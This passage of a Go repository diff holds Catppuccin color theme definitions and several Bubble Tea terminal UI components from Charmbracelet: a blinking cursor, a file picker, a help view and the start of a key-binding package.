HSL: [3]float32{232, 0.23, 0.18},
}
}
// Mantle
func (macchiato) Mantle() Color {
return Color{
Hex: "#1e2030",
RGB: [3]uint8{30, 32, 48},
HSL: [3]float32{233, 0.23, 0.15},
}
}
// Crust
func (macchiato) Crust() Color {
return Color{
Hex: "#181926",
RGB: [3]uint8{24, 25, 38},
HSL: [3]float32{236, 0.23, 0.12},
}
}
+81
View File
@@ -0,0 +1,81 @@
//go:generate whiskers go.tera
//go:generate go fmt ./...
package catppuccingo
import (
"image/color"
"strings"
)
// Flavor is an interface implemented by all Catppuccin variations.
type Flavor interface {
Rosewater() Color
Flamingo() Color
Pink() Color
Mauve() Color
Red() Color
Maroon() Color
Peach() Color
Yellow() Color
Green() Color
Teal() Color
Sky() Color
Sapphire() Color
Blue() Color
Lavender() Color
Text() Color
Subtext1() Color
Subtext0() Color
Overlay2() Color
Overlay1() Color
Overlay0() Color
Surface2() Color
Surface1() Color
Surface0() Color
Crust() Color
Mantle() Color
Base() Color
Name() string
}
// Theme and Flavour are type aliases of Flavor to keep compatibility with previous versions.
type (
Theme = Flavour
Flavour = Flavor
)
// Color is a color in Hex, RGB, and HSL.
type Color struct {
Hex string
RGB [3]uint8
HSL [3]float32
}
// RGBA implements color.Color
func (c Color) RGBA() (r, g, b, a uint32) {
r = uint32(c.RGB[0])
r |= r << 8
g = uint32(c.RGB[1])
g |= g << 8
b = uint32(c.RGB[2])
b |= b << 8
a = 0xffff
return
}
var _ color.Color = Color{}
// Variant returns the Theme variant by name.
func Variant(flavor string) Theme {
for _, t := range []Theme{
Mocha,
Frappe,
Macchiato,
Latte,
} {
if strings.EqualFold(t.Name(), flavor) {
return t
}
}
return nil
}
+244
View File
@@ -0,0 +1,244 @@
package catppuccingo
// Mocha variant
type mocha struct{}
// Mocha flavor variant
var Mocha Flavor = mocha{}
// Mocha
func (mocha) Name() string { return "mocha" }
// Rosewater
func (mocha) Rosewater() Color {
return Color{
Hex: "#f5e0dc",
RGB: [3]uint8{245, 224, 220},
HSL: [3]float32{10, 0.56, 0.91},
}
}
// Flamingo
func (mocha) Flamingo() Color {
return Color{
Hex: "#f2cdcd",
RGB: [3]uint8{242, 205, 205},
HSL: [3]float32{0, 0.59, 0.88},
}
}
// Pink
func (mocha) Pink() Color {
return Color{
Hex: "#f5c2e7",
RGB: [3]uint8{245, 194, 231},
HSL: [3]float32{316, 0.72, 0.86},
}
}
// Mauve
func (mocha) Mauve() Color {
return Color{
Hex: "#cba6f7",
RGB: [3]uint8{203, 166, 247},
HSL: [3]float32{267, 0.84, 0.81},
}
}
// Red
func (mocha) Red() Color {
return Color{
Hex: "#f38ba8",
RGB: [3]uint8{243, 139, 168},
HSL: [3]float32{343, 0.81, 0.75},
}
}
// Maroon
func (mocha) Maroon() Color {
return Color{
Hex: "#eba0ac",
RGB: [3]uint8{235, 160, 172},
HSL: [3]float32{350, 0.65, 0.77},
}
}
// Peach
func (mocha) Peach() Color {
return Color{
Hex: "#fab387",
RGB: [3]uint8{250, 179, 135},
HSL: [3]float32{23, 0.92, 0.75},
}
}
// Yellow
func (mocha) Yellow() Color {
return Color{
Hex: "#f9e2af",
RGB: [3]uint8{249, 226, 175},
HSL: [3]float32{41, 0.86, 0.83},
}
}
// Green
func (mocha) Green() Color {
return Color{
Hex: "#a6e3a1",
RGB: [3]uint8{166, 227, 161},
HSL: [3]float32{115, 0.54, 0.76},
}
}
// Teal
func (mocha) Teal() Color {
return Color{
Hex: "#94e2d5",
RGB: [3]uint8{148, 226, 213},
HSL: [3]float32{170, 0.57, 0.73},
}
}
// Sky
func (mocha) Sky() Color {
return Color{
Hex: "#89dceb",
RGB: [3]uint8{137, 220, 235},
HSL: [3]float32{189, 0.71, 0.73},
}
}
// Sapphire
func (mocha) Sapphire() Color {
return Color{
Hex: "#74c7ec",
RGB: [3]uint8{116, 199, 236},
HSL: [3]float32{199, 0.76, 0.69},
}
}
// Blue
func (mocha) Blue() Color {
return Color{
Hex: "#89b4fa",
RGB: [3]uint8{137, 180, 250},
HSL: [3]float32{217, 0.92, 0.76},
}
}
// Lavender
func (mocha) Lavender() Color {
return Color{
Hex: "#b4befe",
RGB: [3]uint8{180, 190, 254},
HSL: [3]float32{232, 0.97, 0.85},
}
}
// Text
func (mocha) Text() Color {
return Color{
Hex: "#cdd6f4",
RGB: [3]uint8{205, 214, 244},
HSL: [3]float32{226, 0.64, 0.88},
}
}
// Subtext 1
func (mocha) Subtext1() Color {
return Color{
Hex: "#bac2de",
RGB: [3]uint8{186, 194, 222},
HSL: [3]float32{227, 0.35, 0.8},
}
}
// Subtext 0
func (mocha) Subtext0() Color {
return Color{
Hex: "#a6adc8",
RGB: [3]uint8{166, 173, 200},
HSL: [3]float32{228, 0.24, 0.72},
}
}
// Overlay 2
func (mocha) Overlay2() Color {
return Color{
Hex: "#9399b2",
RGB: [3]uint8{147, 153, 178},
HSL: [3]float32{228, 0.17, 0.64},
}
}
// Overlay 1
func (mocha) Overlay1() Color {
return Color{
Hex: "#7f849c",
RGB: [3]uint8{127, 132, 156},
HSL: [3]float32{230, 0.13, 0.55},
}
}
// Overlay 0
func (mocha) Overlay0() Color {
return Color{
Hex: "#6c7086",
RGB: [3]uint8{108, 112, 134},
HSL: [3]float32{231, 0.11, 0.47},
}
}
// Surface 2
func (mocha) Surface2() Color {
return Color{
Hex: "#585b70",
RGB: [3]uint8{88, 91, 112},
HSL: [3]float32{233, 0.12, 0.39},
}
}
// Surface 1
func (mocha) Surface1() Color {
return Color{
Hex: "#45475a",
RGB: [3]uint8{69, 71, 90},
HSL: [3]float32{234, 0.13, 0.31},
}
}
// Surface 0
func (mocha) Surface0() Color {
return Color{
Hex: "#313244",
RGB: [3]uint8{49, 50, 68},
HSL: [3]float32{237, 0.16, 0.23},
}
}
// Base
func (mocha) Base() Color {
return Color{
Hex: "#1e1e2e",
RGB: [3]uint8{30, 30, 46},
HSL: [3]float32{240, 0.21, 0.15},
}
}
// Mantle
func (mocha) Mantle() Color {
return Color{
Hex: "#181825",
RGB: [3]uint8{24, 24, 37},
HSL: [3]float32{240, 0.21, 0.12},
}
}
// Crust
func (mocha) Crust() Color {
return Color{
Hex: "#11111b",
RGB: [3]uint8{17, 17, 27},
HSL: [3]float32{240, 0.23, 0.09},
}
}
+6
View File
@@ -0,0 +1,6 @@
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"local>catppuccin/renovate-config"
]
}
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020-2023 Charmbracelet, Inc
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+221
View File
@@ -0,0 +1,221 @@
// Package cursor provides cursor functionality for Bubble Tea applications.
package cursor
import (
"context"
"time"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
)
const defaultBlinkSpeed = time.Millisecond * 530
// initialBlinkMsg initializes cursor blinking.
type initialBlinkMsg struct{}
// BlinkMsg signals that the cursor should blink. It contains metadata that
// allows us to tell if the blink message is the one we're expecting.
type BlinkMsg struct {
id int
tag int
}
// blinkCanceled is sent when a blink operation is canceled.
type blinkCanceled struct{}
// blinkCtx manages cursor blinking.
type blinkCtx struct {
ctx context.Context
cancel context.CancelFunc
}
// Mode describes the behavior of the cursor.
type Mode int
// Available cursor modes.
const (
CursorBlink Mode = iota
CursorStatic
CursorHide
)
// String returns the cursor mode in a human-readable format. This method is
// provisional and for informational purposes only.
func (c Mode) String() string {
return [...]string{
"blink",
"static",
"hidden",
}[c]
}
// Model is the Bubble Tea model for this cursor element.
type Model struct {
BlinkSpeed time.Duration
// Style for styling the cursor block.
Style lipgloss.Style
// TextStyle is the style used for the cursor when it is hidden (when blinking).
// I.e. displaying normal text.
TextStyle lipgloss.Style
// char is the character under the cursor
char string
// The ID of this Model as it relates to other cursors
id int
// focus indicates whether the containing input is focused
focus bool
// Cursor Blink state.
Blink bool
// Used to manage cursor blink
blinkCtx *blinkCtx
// The ID of the blink message we're expecting to receive.
blinkTag int
// mode determines the behavior of the cursor
mode Mode
}
// New creates a new model with default settings.
func New() Model {
return Model{
BlinkSpeed: defaultBlinkSpeed,
Blink: true,
mode: CursorBlink,
blinkCtx: &blinkCtx{
ctx: context.Background(),
},
}
}
// Update updates the cursor.
func (m Model) Update(msg tea.Msg) (Model, tea.Cmd) {
switch msg := msg.(type) {
case initialBlinkMsg:
// We accept all initialBlinkMsgs generated by the Blink command.
if m.mode != CursorBlink || !m.focus {
return m, nil
}
cmd := m.BlinkCmd()
return m, cmd
case tea.FocusMsg:
return m, m.Focus()
case tea.BlurMsg:
m.Blur()
return m, nil
case BlinkMsg:
// We're choosy about whether to accept blinkMsgs so that our cursor
// only exactly when it should.
// Is this model blink-able?
if m.mode != CursorBlink || !m.focus {
return m, nil
}
// Were we expecting this blink message?
if msg.id != m.id || msg.tag != m.blinkTag {
return m, nil
}
var cmd tea.Cmd
if m.mode == CursorBlink {
m.Blink = !m.Blink
cmd = m.BlinkCmd()
}
return m, cmd
case blinkCanceled: // no-op
return m, nil
}
return m, nil
}
// Mode returns the model's cursor mode. For available cursor modes, see
// type Mode.
func (m Model) Mode() Mode {
return m.mode
}
// SetMode sets the model's cursor mode. This method returns a command.
//
// For available cursor modes, see type CursorMode.
func (m *Model) SetMode(mode Mode) tea.Cmd {
// Adjust the mode value if it's value is out of range
if mode < CursorBlink || mode > CursorHide {
return nil
}
m.mode = mode
m.Blink = m.mode == CursorHide || !m.focus
if mode == CursorBlink {
return Blink
}
return nil
}
// BlinkCmd is a command used to manage cursor blinking.
func (m *Model) BlinkCmd() tea.Cmd {
if m.mode != CursorBlink {
return nil
}
if m.blinkCtx != nil && m.blinkCtx.cancel != nil {
m.blinkCtx.cancel()
}
ctx, cancel := context.WithTimeout(m.blinkCtx.ctx, m.BlinkSpeed)
m.blinkCtx.cancel = cancel
m.blinkTag++
blinkMsg := BlinkMsg{id: m.id, tag: m.blinkTag}
return func() tea.Msg {
defer cancel()
<-ctx.Done()
if ctx.Err() == context.DeadlineExceeded {
return blinkMsg
}
return blinkCanceled{}
}
}
// Blink is a command used to initialize cursor blinking.
func Blink() tea.Msg {
return initialBlinkMsg{}
}
// Focus focuses the cursor to allow it to blink if desired.
func (m *Model) Focus() tea.Cmd {
m.focus = true
m.Blink = m.mode == CursorHide // show the cursor unless we've explicitly hidden it
if m.mode == CursorBlink && m.focus {
return m.BlinkCmd()
}
return nil
}
// Blur blurs the cursor.
func (m *Model) Blur() {
m.focus = false
m.Blink = true
}
// SetChar sets the character under the cursor.
func (m *Model) SetChar(char string) {
m.char = char
}
// View displays the cursor.
func (m Model) View() string {
if m.Blink {
return m.TextStyle.Inline(true).Render(m.char)
}
return m.Style.Inline(true).Reverse(true).Render(m.char)
}
+522
View File
@@ -0,0 +1,522 @@
// Package filepicker provides a file picker component for Bubble Tea
// applications.
package filepicker
import (
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync/atomic"
"github.com/charmbracelet/bubbles/key"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"github.com/dustin/go-humanize"
)
var lastID int64
func nextID() int {
return int(atomic.AddInt64(&lastID, 1))
}
// New returns a new filepicker model with default styling and key bindings.
func New() Model {
return Model{
id: nextID(),
CurrentDirectory: ".",
Cursor: ">",
AllowedTypes: []string{},
selected: 0,
ShowPermissions: true,
ShowSize: true,
ShowHidden: false,
DirAllowed: false,
FileAllowed: true,
AutoHeight: true,
Height: 0,
max: 0,
min: 0,
selectedStack: newStack(),
minStack: newStack(),
maxStack: newStack(),
KeyMap: DefaultKeyMap(),
Styles: DefaultStyles(),
}
}
type errorMsg struct {
err error
}
type readDirMsg struct {
id int
entries []os.DirEntry
}
const (
marginBottom = 5
fileSizeWidth = 7
paddingLeft = 2
)
// KeyMap defines key bindings for each user action.
type KeyMap struct {
GoToTop key.Binding
GoToLast key.Binding
Down key.Binding
Up key.Binding
PageUp key.Binding
PageDown key.Binding
Back key.Binding
Open key.Binding
Select key.Binding
}
// DefaultKeyMap defines the default keybindings.
func DefaultKeyMap() KeyMap {
return KeyMap{
GoToTop: key.NewBinding(key.WithKeys("g"), key.WithHelp("g", "first")),
GoToLast: key.NewBinding(key.WithKeys("G"), key.WithHelp("G", "last")),
Down: key.NewBinding(key.WithKeys("j", "down", "ctrl+n"), key.WithHelp("j", "down")),
Up: key.NewBinding(key.WithKeys("k", "up", "ctrl+p"), key.WithHelp("k", "up")),
PageUp: key.NewBinding(key.WithKeys("K", "pgup"), key.WithHelp("pgup", "page up")),
PageDown: key.NewBinding(key.WithKeys("J", "pgdown"), key.WithHelp("pgdown", "page down")),
Back: key.NewBinding(key.WithKeys("h", "backspace", "left", "esc"), key.WithHelp("h", "back")),
Open: key.NewBinding(key.WithKeys("l", "right", "enter"), key.WithHelp("l", "open")),
Select: key.NewBinding(key.WithKeys("enter"), key.WithHelp("enter", "select")),
}
}
// Styles defines the possible customizations for styles in the file picker.
type Styles struct {
DisabledCursor lipgloss.Style
Cursor lipgloss.Style
Symlink lipgloss.Style
Directory lipgloss.Style
File lipgloss.Style
DisabledFile lipgloss.Style
Permission lipgloss.Style
Selected lipgloss.Style
DisabledSelected lipgloss.Style
FileSize lipgloss.Style
EmptyDirectory lipgloss.Style
}
// DefaultStyles defines the default styling for the file picker.
func DefaultStyles() Styles {
return DefaultStylesWithRenderer(lipgloss.DefaultRenderer())
}
// DefaultStylesWithRenderer defines the default styling for the file picker,
// with a given Lip Gloss renderer.
func DefaultStylesWithRenderer(r *lipgloss.Renderer) Styles {
return Styles{
DisabledCursor: r.NewStyle().Foreground(lipgloss.Color("247")),
Cursor: r.NewStyle().Foreground(lipgloss.Color("212")),
Symlink: r.NewStyle().Foreground(lipgloss.Color("36")),
Directory: r.NewStyle().Foreground(lipgloss.Color("99")),
File: r.NewStyle(),
DisabledFile: r.NewStyle().Foreground(lipgloss.Color("243")),
DisabledSelected: r.NewStyle().Foreground(lipgloss.Color("247")),
Permission: r.NewStyle().Foreground(lipgloss.Color("244")),
Selected: r.NewStyle().Foreground(lipgloss.Color("212")).Bold(true),
FileSize: r.NewStyle().Foreground(lipgloss.Color("240")).Width(fileSizeWidth).Align(lipgloss.Right),
EmptyDirectory: r.NewStyle().Foreground(lipgloss.Color("240")).PaddingLeft(paddingLeft).SetString("Bummer. No Files Found."),
}
}
// Model represents a file picker.
type Model struct {
id int
// Path is the path which the user has selected with the file picker.
Path string
// CurrentDirectory is the directory that the user is currently in.
CurrentDirectory string
// AllowedTypes specifies which file types the user may select.
// If empty the user may select any file.
AllowedTypes []string
KeyMap KeyMap
files []os.DirEntry
ShowPermissions bool
ShowSize bool
ShowHidden bool
DirAllowed bool
FileAllowed bool
FileSelected string
selected int
selectedStack stack
min int
max int
maxStack stack
minStack stack
// Height of the picker.
//
// Deprecated: use [Model.SetHeight] instead.
Height int
AutoHeight bool
Cursor string
Styles Styles
}
type stack struct {
Push func(int)
Pop func() int
Length func() int
}
func newStack() stack {
slice := make([]int, 0)
return stack{
Push: func(i int) {
slice = append(slice, i)
},
Pop: func() int {
res := slice[len(slice)-1]
slice = slice[:len(slice)-1]
return res
},
Length: func() int {
return len(slice)
},
}
}
func (m *Model) pushView(selected, minimum, maximum int) {
m.selectedStack.Push(selected)
m.minStack.Push(minimum)
m.maxStack.Push(maximum)
}
func (m *Model) popView() (int, int, int) {
return m.selectedStack.Pop(), m.minStack.Pop(), m.maxStack.Pop()
}
func (m Model) readDir(path string, showHidden bool) tea.Cmd {
return func() tea.Msg {
dirEntries, err := os.ReadDir(path)
if err != nil {
return errorMsg{err}
}
sort.Slice(dirEntries, func(i, j int) bool {
if dirEntries[i].IsDir() == dirEntries[j].IsDir() {
return dirEntries[i].Name() < dirEntries[j].Name()
}
return dirEntries[i].IsDir()
})
if showHidden {
return readDirMsg{id: m.id, entries: dirEntries}
}
var sanitizedDirEntries []os.DirEntry
for _, dirEntry := range dirEntries {
isHidden, _ := IsHidden(dirEntry.Name())
if isHidden {
continue
}
sanitizedDirEntries = append(sanitizedDirEntries, dirEntry)
}
return readDirMsg{id: m.id, entries: sanitizedDirEntries}
}
}
// Init initializes the file picker model.
func (m Model) Init() tea.Cmd {
return m.readDir(m.CurrentDirectory, m.ShowHidden)
}
// SetHeight sets the height of the filepicker.
func (m *Model) SetHeight(height int) {
m.Height = height
if m.max > m.Height-1 {
m.max = m.min + m.Height - 1
}
}
// Update handles user interactions within the file picker model.
func (m Model) Update(msg tea.Msg) (Model, tea.Cmd) {
switch msg := msg.(type) {
case readDirMsg:
if msg.id != m.id {
break
}
m.files = msg.entries
m.max = max(m.max, m.Height-1)
case tea.WindowSizeMsg:
if m.AutoHeight {
m.Height = msg.Height - marginBottom
}
m.max = m.Height - 1
case tea.KeyMsg:
switch {
case key.Matches(msg, m.KeyMap.GoToTop):
m.selected = 0
m.min = 0
m.max = m.Height - 1
case key.Matches(msg, m.KeyMap.GoToLast):
m.selected = len(m.files) - 1
m.min = len(m.files) - m.Height
m.max = len(m.files) - 1
case key.Matches(msg, m.KeyMap.Down):
m.selected++
if m.selected >= len(m.files) {
m.selected = len(m.files) - 1
}
if m.selected > m.max {
m.min++
m.max++
}
case key.Matches(msg, m.KeyMap.Up):
m.selected--
if m.selected < 0 {
m.selected = 0
}
if m.selected < m.min {
m.min--
m.max--
}
case key.Matches(msg, m.KeyMap.PageDown):
m.selected += m.Height
if m.selected >= len(m.files) {
m.selected = len(m.files) - 1
}
m.min += m.Height
m.max += m.Height
if m.max >= len(m.files) {
m.max = len(m.files) - 1
m.min = m.max - m.Height
}
case key.Matches(msg, m.KeyMap.PageUp):
m.selected -= m.Height
if m.selected < 0 {
m.selected = 0
}
m.min -= m.Height
m.max -= m.Height
if m.min < 0 {
m.min = 0
m.max = m.min + m.Height
}
case key.Matches(msg, m.KeyMap.Back):
m.CurrentDirectory = filepath.Dir(m.CurrentDirectory)
if m.selectedStack.Length() > 0 {
m.selected, m.min, m.max = m.popView()
} else {
m.selected = 0
m.min = 0
m.max = m.Height - 1
}
return m, m.readDir(m.CurrentDirectory, m.ShowHidden)
case key.Matches(msg, m.KeyMap.Open):
if len(m.files) == 0 {
break
}
f := m.files[m.selected]
info, err := f.Info()
if err != nil {
break
}
isSymlink := info.Mode()&os.ModeSymlink != 0
isDir := f.IsDir()
if isSymlink {
symlinkPath, _ := filepath.EvalSymlinks(filepath.Join(m.CurrentDirectory, f.Name()))
info, err := os.Stat(symlinkPath)
if err != nil {
break
}
if info.IsDir() {
isDir = true
}
}
if (!isDir && m.FileAllowed) || (isDir && m.DirAllowed) {
if key.Matches(msg, m.KeyMap.Select) {
// Select the current path as the selection
m.Path = filepath.Join(m.CurrentDirectory, f.Name())
}
}
if !isDir {
break
}
m.CurrentDirectory = filepath.Join(m.CurrentDirectory, f.Name())
m.pushView(m.selected, m.min, m.max)
m.selected = 0
m.min = 0
m.max = m.Height - 1
return m, m.readDir(m.CurrentDirectory, m.ShowHidden)
}
}
return m, nil
}
// View returns the view of the file picker.
func (m Model) View() string {
if len(m.files) == 0 {
return m.Styles.EmptyDirectory.Height(m.Height).MaxHeight(m.Height).String()
}
var s strings.Builder
for i, f := range m.files {
if i < m.min || i > m.max {
continue
}
var symlinkPath string
info, _ := f.Info()
isSymlink := info.Mode()&os.ModeSymlink != 0
size := strings.Replace(humanize.Bytes(uint64(info.Size())), " ", "", 1) //nolint:gosec
name := f.Name()
if isSymlink {
symlinkPath, _ = filepath.EvalSymlinks(filepath.Join(m.CurrentDirectory, name))
}
disabled := !m.canSelect(name) && !f.IsDir()
if m.selected == i { //nolint:nestif
selected := ""
if m.ShowPermissions {
selected += " " + info.Mode().String()
}
if m.ShowSize {
selected += fmt.Sprintf("%"+strconv.Itoa(m.Styles.FileSize.GetWidth())+"s", size)
}
selected += " " + name
if isSymlink {
selected += " → " + symlinkPath
}
if disabled {
s.WriteString(m.Styles.DisabledSelected.Render(m.Cursor) + m.Styles.DisabledSelected.Render(selected))
} else {
s.WriteString(m.Styles.Cursor.Render(m.Cursor) + m.Styles.Selected.Render(selected))
}
s.WriteRune('\n')
continue
}
style := m.Styles.File
if f.IsDir() {
style = m.Styles.Directory
} else if isSymlink {
style = m.Styles.Symlink
} else if disabled {
style = m.Styles.DisabledFile
}
fileName := style.Render(name)
s.WriteString(m.Styles.Cursor.Render(" "))
if isSymlink {
fileName += " → " + symlinkPath
}
if m.ShowPermissions {
s.WriteString(" " + m.Styles.Permission.Render(info.Mode().String()))
}
if m.ShowSize {
s.WriteString(m.Styles.FileSize.Render(size))
}
s.WriteString(" " + fileName)
s.WriteRune('\n')
}
for i := lipgloss.Height(s.String()); i <= m.Height; i++ {
s.WriteRune('\n')
}
return s.String()
}
// DidSelectFile returns whether a user has selected a file (on this msg).
func (m Model) DidSelectFile(msg tea.Msg) (bool, string) {
didSelect, path := m.didSelectFile(msg)
if didSelect && m.canSelect(path) {
return true, path
}
return false, ""
}
// DidSelectDisabledFile returns whether a user tried to select a disabled file
// (on this msg). This is necessary only if you would like to warn the user that
// they tried to select a disabled file.
func (m Model) DidSelectDisabledFile(msg tea.Msg) (bool, string) {
didSelect, path := m.didSelectFile(msg)
if didSelect && !m.canSelect(path) {
return true, path
}
return false, ""
}
func (m Model) didSelectFile(msg tea.Msg) (bool, string) {
if len(m.files) == 0 {
return false, ""
}
switch msg := msg.(type) {
case tea.KeyMsg:
// If the msg does not match the Select keymap then this could not have been a selection.
if !key.Matches(msg, m.KeyMap.Select) {
return false, ""
}
// The key press was a selection, let's confirm whether the current file could
// be selected or used for navigating deeper into the stack.
f := m.files[m.selected]
info, err := f.Info()
if err != nil {
return false, ""
}
isSymlink := info.Mode()&os.ModeSymlink != 0
isDir := f.IsDir()
if isSymlink {
symlinkPath, _ := filepath.EvalSymlinks(filepath.Join(m.CurrentDirectory, f.Name()))
info, err := os.Stat(symlinkPath)
if err != nil {
break
}
if info.IsDir() {
isDir = true
}
}
if (!isDir && m.FileAllowed) || (isDir && m.DirAllowed) && m.Path != "" {
return true, m.Path
}
// If the msg was not a KeyMsg, then the file could not have been selected this iteration.
// Only a KeyMsg can select a file.
default:
return false, ""
}
return false, ""
}
func (m Model) canSelect(file string) bool {
if len(m.AllowedTypes) <= 0 {
return true
}
for _, ext := range m.AllowedTypes {
if strings.HasSuffix(file, ext) {
return true
}
}
return false
}
+11
View File
@@ -0,0 +1,11 @@
//go:build !windows
// +build !windows
package filepicker
import "strings"
// IsHidden reports whether a file is hidden or not.
func IsHidden(file string) (bool, error) {
return strings.HasPrefix(file, "."), nil
}
+21
View File
@@ -0,0 +1,21 @@
//go:build windows
// +build windows
package filepicker
import (
"syscall"
)
// IsHidden reports whether a file is hidden or not.
func IsHidden(file string) (bool, error) {
pointer, err := syscall.UTF16PtrFromString(file)
if err != nil {
return false, err //nolint:wrapcheck
}
attributes, err := syscall.GetFileAttributes(pointer)
if err != nil {
return false, err //nolint:wrapcheck
}
return attributes&syscall.FILE_ATTRIBUTE_HIDDEN != 0, nil
}
+240
View File
@@ -0,0 +1,240 @@
// Package help provides a simple help view for Bubble Tea applications.
package help
import (
"strings"
"github.com/charmbracelet/bubbles/key"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
)
// KeyMap is a map of keybindings used to generate help. Since it's an
// interface it can be any type, though struct or a map[string][]key.Binding
// are likely candidates.
//
// Note that if a key is disabled (via key.Binding.SetEnabled) it will not be
// rendered in the help view, so in theory generated help should self-manage.
type KeyMap interface {
// ShortHelp returns a slice of bindings to be displayed in the short
// version of the help. The help bubble will render help in the order in
// which the help items are returned here.
ShortHelp() []key.Binding
// FullHelp returns an extended group of help items, grouped by columns.
// The help bubble will render the help in the order in which the help
// items are returned here.
FullHelp() [][]key.Binding
}
// Styles is a set of available style definitions for the Help bubble.
type Styles struct {
Ellipsis lipgloss.Style
// Styling for the short help
ShortKey lipgloss.Style
ShortDesc lipgloss.Style
ShortSeparator lipgloss.Style
// Styling for the full help
FullKey lipgloss.Style
FullDesc lipgloss.Style
FullSeparator lipgloss.Style
}
// Model contains the state of the help view.
type Model struct {
Width int
ShowAll bool // if true, render the "full" help menu
ShortSeparator string
FullSeparator string
// The symbol we use in the short help when help items have been truncated
// due to width. Periods of ellipsis by default.
Ellipsis string
Styles Styles
}
// New creates a new help view with some useful defaults.
func New() Model {
keyStyle := lipgloss.NewStyle().Foreground(lipgloss.AdaptiveColor{
Light: "#909090",
Dark: "#626262",
})
descStyle := lipgloss.NewStyle().Foreground(lipgloss.AdaptiveColor{
Light: "#B2B2B2",
Dark: "#4A4A4A",
})
sepStyle := lipgloss.NewStyle().Foreground(lipgloss.AdaptiveColor{
Light: "#DDDADA",
Dark: "#3C3C3C",
})
return Model{
ShortSeparator: " • ",
FullSeparator: " ",
Ellipsis: "…",
Styles: Styles{
ShortKey: keyStyle,
ShortDesc: descStyle,
ShortSeparator: sepStyle,
Ellipsis: sepStyle,
FullKey: keyStyle,
FullDesc: descStyle,
FullSeparator: sepStyle,
},
}
}
// NewModel creates a new help view with some useful defaults.
//
// Deprecated: use [New] instead.
var NewModel = New
// Update helps satisfy the Bubble Tea Model interface. It's a no-op.
func (m Model) Update(_ tea.Msg) (Model, tea.Cmd) {
return m, nil
}
// View renders the help view's current state.
func (m Model) View(k KeyMap) string {
if m.ShowAll {
return m.FullHelpView(k.FullHelp())
}
return m.ShortHelpView(k.ShortHelp())
}
// ShortHelpView renders a single line help view from a slice of keybindings.
// If the line is longer than the maximum width it will be gracefully
// truncated, showing only as many help items as possible.
func (m Model) ShortHelpView(bindings []key.Binding) string {
if len(bindings) == 0 {
return ""
}
var b strings.Builder
var totalWidth int
separator := m.Styles.ShortSeparator.Inline(true).Render(m.ShortSeparator)
for i, kb := range bindings {
if !kb.Enabled() {
continue
}
// Sep
var sep string
if totalWidth > 0 && i < len(bindings) {
sep = separator
}
// Item
str := sep +
m.Styles.ShortKey.Inline(true).Render(kb.Help().Key) + " " +
m.Styles.ShortDesc.Inline(true).Render(kb.Help().Desc)
w := lipgloss.Width(str)
// Tail
if tail, ok := m.shouldAddItem(totalWidth, w); !ok {
if tail != "" {
b.WriteString(tail)
}
break
}
totalWidth += w
b.WriteString(str)
}
return b.String()
}
// FullHelpView renders help columns from a slice of key binding slices. Each
// top level slice entry renders into a column.
func (m Model) FullHelpView(groups [][]key.Binding) string {
if len(groups) == 0 {
return ""
}
// Linter note: at this time we don't think it's worth the additional
// code complexity involved in preallocating this slice.
//nolint:prealloc
var (
out []string
totalWidth int
separator = m.Styles.FullSeparator.Inline(true).Render(m.FullSeparator)
)
// Iterate over groups to build columns
for i, group := range groups {
if group == nil || !shouldRenderColumn(group) {
continue
}
var (
sep string
keys []string
descriptions []string
)
// Sep
if totalWidth > 0 && i < len(groups) {
sep = separator
}
// Separate keys and descriptions into different slices
for _, kb := range group {
if !kb.Enabled() {
continue
}
keys = append(keys, kb.Help().Key)
descriptions = append(descriptions, kb.Help().Desc)
}
// Column
col := lipgloss.JoinHorizontal(lipgloss.Top,
sep,
m.Styles.FullKey.Render(strings.Join(keys, "\n")),
" ",
m.Styles.FullDesc.Render(strings.Join(descriptions, "\n")),
)
w := lipgloss.Width(col)
// Tail
if tail, ok := m.shouldAddItem(totalWidth, w); !ok {
if tail != "" {
out = append(out, tail)
}
break
}
totalWidth += w
out = append(out, col)
}
return lipgloss.JoinHorizontal(lipgloss.Top, out...)
}
func (m Model) shouldAddItem(totalWidth, width int) (tail string, ok bool) {
// If there's room for an ellipsis, print that.
if m.Width > 0 && totalWidth+width > m.Width {
tail = " " + m.Styles.Ellipsis.Inline(true).Render(m.Ellipsis)
if totalWidth+lipgloss.Width(tail) < m.Width {
return tail, false
}
}
return "", true
}
func shouldRenderColumn(b []key.Binding) (ok bool) {
for _, v := range b {
if v.Enabled() {
return true
}
}
return false
}
+140
View File
@@ -0,0 +1,140 @@
// Package key provides some types and functions for generating user-definable
// keymappings useful in Bubble Tea components. There are a few different ways
// you can define a keymapping with this package. Here's one example:
//
// type KeyMap struct {
// Up key.Binding
// Down key.Binding
// }
//
// var DefaultKeyMap = KeyMap{
// Up: key.NewBinding(
// key.WithKeys("k", "up"), // actual keybindings
// key.WithHelp("↑/k", "move up"), // corresponding help text
// ),
// Down: key.NewBinding(
// key.WithKeys("j", "down"),
// key.WithHelp("↓/j", "move down"),
// ),
// }
//
// func (m Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
// switch msg := msg.(type) {
// case tea.KeyMsg:
// switch {
// case key.Matches(msg, DefaultKeyMap.Up):
// // The user pressed up
// case key.Matches(msg, DefaultKeyMap.Down):
// // The user pressed down
// }
// }
//
// // ...
// }
//
// The help information, which is not used in the example above, can be used
// to render help text for keystrokes in your views.
package key
import "fmt"
